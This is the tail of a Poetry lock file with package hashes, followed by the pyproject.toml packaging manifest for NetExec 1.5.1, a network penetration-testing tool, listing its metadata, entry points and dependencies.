"SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee3bee874cb1fadee2ff2b79fc9fc808aa638670f28b2145074538d4a6a5028e"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e185ea07a99ce8b8edfc788c586c538c4b1351007e614ceb708fd01b095ef33e"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b79ee64d01d05a5476d5cceb3c27b5535e6bb84ee0f872ba60d9a8cd4d0e6579"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:afd776cf1ebfc7f9aa42a09cf19feadb40a26366802d86c1fba080d8e5e74bdd"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-win32.whl", hash = "sha256:a5645cd45f56895cfe3ca3459aed9ff2d3f9aaa29ff7edf557fa7a23515a3725"}, {file = "SQLAlchemy-2.0.38-cp312-cp312-win_amd64.whl", hash = "sha256:1052723e6cd95312f6a6eff9a279fd41bbae67633415373fdac3c430eca3425d"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ecef029b69843b82048c5b347d8e6049356aa24ed644006c9a9d7098c3bd3bfd"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9c8bcad7fc12f0cc5896d8e10fdf703c45bd487294a986903fe032c72201596b"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a0ef3f98175d77180ffdc623d38e9f1736e8d86b6ba70bff182a7e68bed7727"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b0ac78898c50e2574e9f938d2e5caa8fe187d7a5b69b65faa1ea4648925b096"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9eb4fa13c8c7a2404b6a8e3772c17a55b1ba18bc711e25e4d6c0c9f5f541b02a"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5dba1cdb8f319084f5b00d41207b2079822aa8d6a4667c0f369fce85e34b0c86"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-win32.whl", hash = "sha256:eae27ad7580529a427cfdd52c87abb2dfb15ce2b7a3e0fc29fbb63e2ed6f8120"}, {file = "SQLAlchemy-2.0.38-cp313-cp313-win_amd64.whl", hash = "sha256:b335a7c958bc945e10c522c069cd6e5804f4ff20f9a744dd38e748eb602cbbda"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:40310db77a55512a18827488e592965d3dec6a3f1e3d8af3f8243134029daca3"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d3043375dd5bbcb2282894cbb12e6c559654c67b5fffb462fda815a55bf93f7"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70065dfabf023b155a9c2a18f573e47e6ca709b9e8619b2e04c54d5bcf193178"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c058b84c3b24812c859300f3b5abf300daa34df20d4d4f42e9652a4d1c48c8a4"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0398361acebb42975deb747a824b5188817d32b5c8f8aba767d51ad0cc7bb08d"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-win32.whl", hash = "sha256:a2bc4e49e8329f3283d99840c136ff2cd1a29e49b5624a46a290f04dff48e079"}, {file = "SQLAlchemy-2.0.38-cp37-cp37m-win_amd64.whl", hash = "sha256:9cd136184dd5f58892f24001cdce986f5d7e96059d004118d5410671579834a4"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:665255e7aae5f38237b3a6eae49d2358d83a59f39ac21036413fab5d1e810578"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:92f99f2623ff16bd4aaf786ccde759c1f676d39c7bf2855eb0b540e1ac4530c8"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa498d1392216fae47eaf10c593e06c34476ced9549657fca713d0d1ba5f7248"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9afbc3909d0274d6ac8ec891e30210563b2c8bdd52ebbda14146354e7a69373"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:57dd41ba32430cbcc812041d4de8d2ca4651aeefad2626921ae2a23deb8cd6ff"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3e35d5565b35b66905b79ca4ae85840a8d40d31e0b3e2990f2e7692071b179ca"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-win32.whl", hash = "sha256:f0d3de936b192980209d7b5149e3c98977c3810d401482d05fb6d668d53c1c63"}, {file = "SQLAlchemy-2.0.38-cp38-cp38-win_amd64.whl", hash = "sha256:3868acb639c136d98107c9096303d2d8e5da2880f7706f9f8c06a7f961961149"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:07258341402a718f166618470cde0c34e4cec85a39767dce4e24f61ba5e667ea"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a826f21848632add58bef4f755a33d45105d25656a0c849f2dc2df1c71f6f50"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:386b7d136919bb66ced64d2228b92d66140de5fefb3c7df6bd79069a269a7b06"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f2951dc4b4f990a4b394d6b382accb33141d4d3bd3ef4e2b27287135d6bdd68"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bf312ed8ac096d674c6aa9131b249093c1b37c35db6a967daa4c84746bc1bc9"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6db316d6e340f862ec059dc12e395d71f39746a20503b124edc255973977b728"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-win32.whl", hash = "sha256:c09a6ea87658695e527104cf857c70f79f14e9484605e205217aae0ec27b45fc"}, {file = "SQLAlchemy-2.0.38-cp39-cp39-win_amd64.whl", hash = "sha256:12f5c9ed53334c3ce719155424dc5407aaa4f6cadeb09c5b627e06abb93933a1"}, {file = "SQLAlchemy-2.0.38-py3-none-any.whl", hash = "sha256:63178c675d4c80def39f1febd625a6333f44c0ba269edd8a468b156394b27753"}, {file = "sqlalchemy-2.0.38.tar.gz", hash = "sha256:e5a4d82bdb4bf1ac1285a68eab02d253ab73355d9f0fe725a97e1e0fa689decb"}, ] [package.dependencies] greenlet = {version = "!=0.4.17", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} typing-extensions = ">=4.6.0" [package.extras] aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"] aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] mypy = ["mypy (>=0.910)"] mysql = ["mysqlclient (>=1.4.0)"] mysql-connector = ["mysql-connector-python"] oracle = ["cx_oracle (>=8)"] oracle-oracledb = ["oracledb (>=1.0.1)"] postgresql = ["psycopg2 (>=2.7)"] postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] postgresql-pg8000 = ["pg8000 (>=1.29.1)"] postgresql-psycopg = ["psycopg (>=3.0.7)"] postgresql-psycopg2binary = ["psycopg2-binary"] postgresql-psycopg2cffi = ["psycopg2cffi"] postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"] pymysql = ["pymysql"] sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" version = "0.2.0" description = "SSPI API bindings for Python" optional = false python-versions = ">=3.8" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, {file = "sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, ] [[package]] name = "tabulate" version = "0.9.0" description = "Pretty-print tabular data" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, ] [package.extras] widechars = ["wcwidth"] [[package]] name = "termcolor" version = "2.5.0" description = "ANSI color formatting for output in terminal" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, ] [package.extras] tests = ["pytest", "pytest-cov"] [[package]] name = "terminaltables" version = "3.1.10" description = "Generate simple tables in terminals from a nested list of strings." optional = false python-versions = ">=2.6" groups = ["main"] files = [ {file = "terminaltables-3.1.10-py2.py3-none-any.whl", hash = "sha256:e4fdc4179c9e4aab5f674d80f09d76fa436b96fdc698a8505e0a36bf0804a874"}, {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, ] [[package]] name = "tomli" version = "2.2.1" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] markers = "python_version == \"3.10\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, ] [[package]] name = "tqdm" version = "4.67.1" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] discord = ["requests"] notebook = ["ipywidgets (>=6)"] slack = ["slack-sdk"] telegram = ["requests"] [[package]] name = "typing-extensions" version = "4.12.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, ] [[package]] name = "unicrypto" version = "0.0.11" description = "Unified interface for cryptographic libraries" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "unicrypto-0.0.11-py3-none-any.whl", hash = "sha256:6eca25e58797ba0965aba9d7a8cded15001dfaa424a622111d90a1f4f7afe733"}, {file = "unicrypto-0.0.11.tar.gz", hash = "sha256:44ab77bbf0e9ea6a4e957bc03d015cf837b9533c5319129e44d950be273d40a5"}, ] [package.dependencies] pycryptodomex = "*" [[package]] name = "urllib3" version = "2.3.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df"}, {file = "urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d"}, ] [package.extras] brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] zstd = ["zstandard (>=0.18.0)"] [[package]] name = "wcwidth" version = "0.2.13" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" groups = ["main"] files = [ {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, ] [[package]] name = "werkzeug" version = "3.1.3" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, ] [package.dependencies] MarkupSafe = ">=2.1.1" [package.extras] watchdog = ["watchdog (>=2.3)"] [[package]] name = "winacl" version = "0.1.9" description = "ACL/ACE/Security Descriptor manipulation library in pure Python" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099"}, {file = "winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab"}, ] [package.dependencies] cryptography = ">=38.0.1" [[package]] name = "xmltodict" version = "0.14.2" description = "Makes working with XML feel like you are working with JSON" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, ] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" content-hash = "b25390c3a761b0c374a68e53c836ef07fd0a3abb3efbe8a4bcb4f2d3dae1c159" NetExec-1.5.1/pyproject.toml000066400000000000000000000071101514706431700157740ustar00rootroot00000000000000[project] name = "netexec" dynamic = ["version"] description = "The Network Execution tool" readme = "README.md" requires-python = ">=3.10,<4.0" license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, { name = "Alexander Neff", email = "alex99.neff@gmx.de" }, { name = "Thomas Seigneuret", email = "seigneuret.thomas@pm.me" } ] classifiers = [ "Environment :: Console", "License :: OSI Approved :: BSD License", "Programming Language :: Python :: 3", "Topic :: Security" ] dependencies = [ "aardwolf>=0.2.8", "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", "bloodhound-ce>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", "masky>=0.2.1", "minikerberos>=0.4.1", "neo4j>=5.0.0", "paramiko>=3.3.1", "pefile (>=2024.8.26,<2025.0.0)", "pyasn1-modules>=0.3.0", "pylnk3>=0.4.3", "pypsrp>=0.8.1", "pypykatz>=0.6.8", "python-dateutil>=2.8.2", "python-libnmap>=0.7.3", "requests>=2.27.1", "rich>=13.3.5", "sqlalchemy>=2.0.4", "termcolor>=2.4.0", "terminaltables>=3.1.0", "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", "impacket @ git+https://github.com/fortra/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] [project.urls] homepage = "https://github.com/Pennyw0rth/NetExec" repository = "https://github.com/Pennyw0rth/NetExec" [project.scripts] nxc = "nxc.netexec:main" netexec = "nxc.netexec:main" NetExec = "nxc.netexec:main" nxcdb = "nxc.nxcdb:main" [tool.poetry] exclude = [] include = [ "nxc/data/*", "nxc/modules/*" ] packages = [{ include = "nxc" }] version = "0.0.0" # Poetry placeholder, do not remove [tool.poetry.requires-plugins] poetry-dynamic-versioning = { version = ">=1.7.0,<2.0.0", extras = ["plugin"] } [tool.poetry-dynamic-versioning] enable = true style = "pep440" 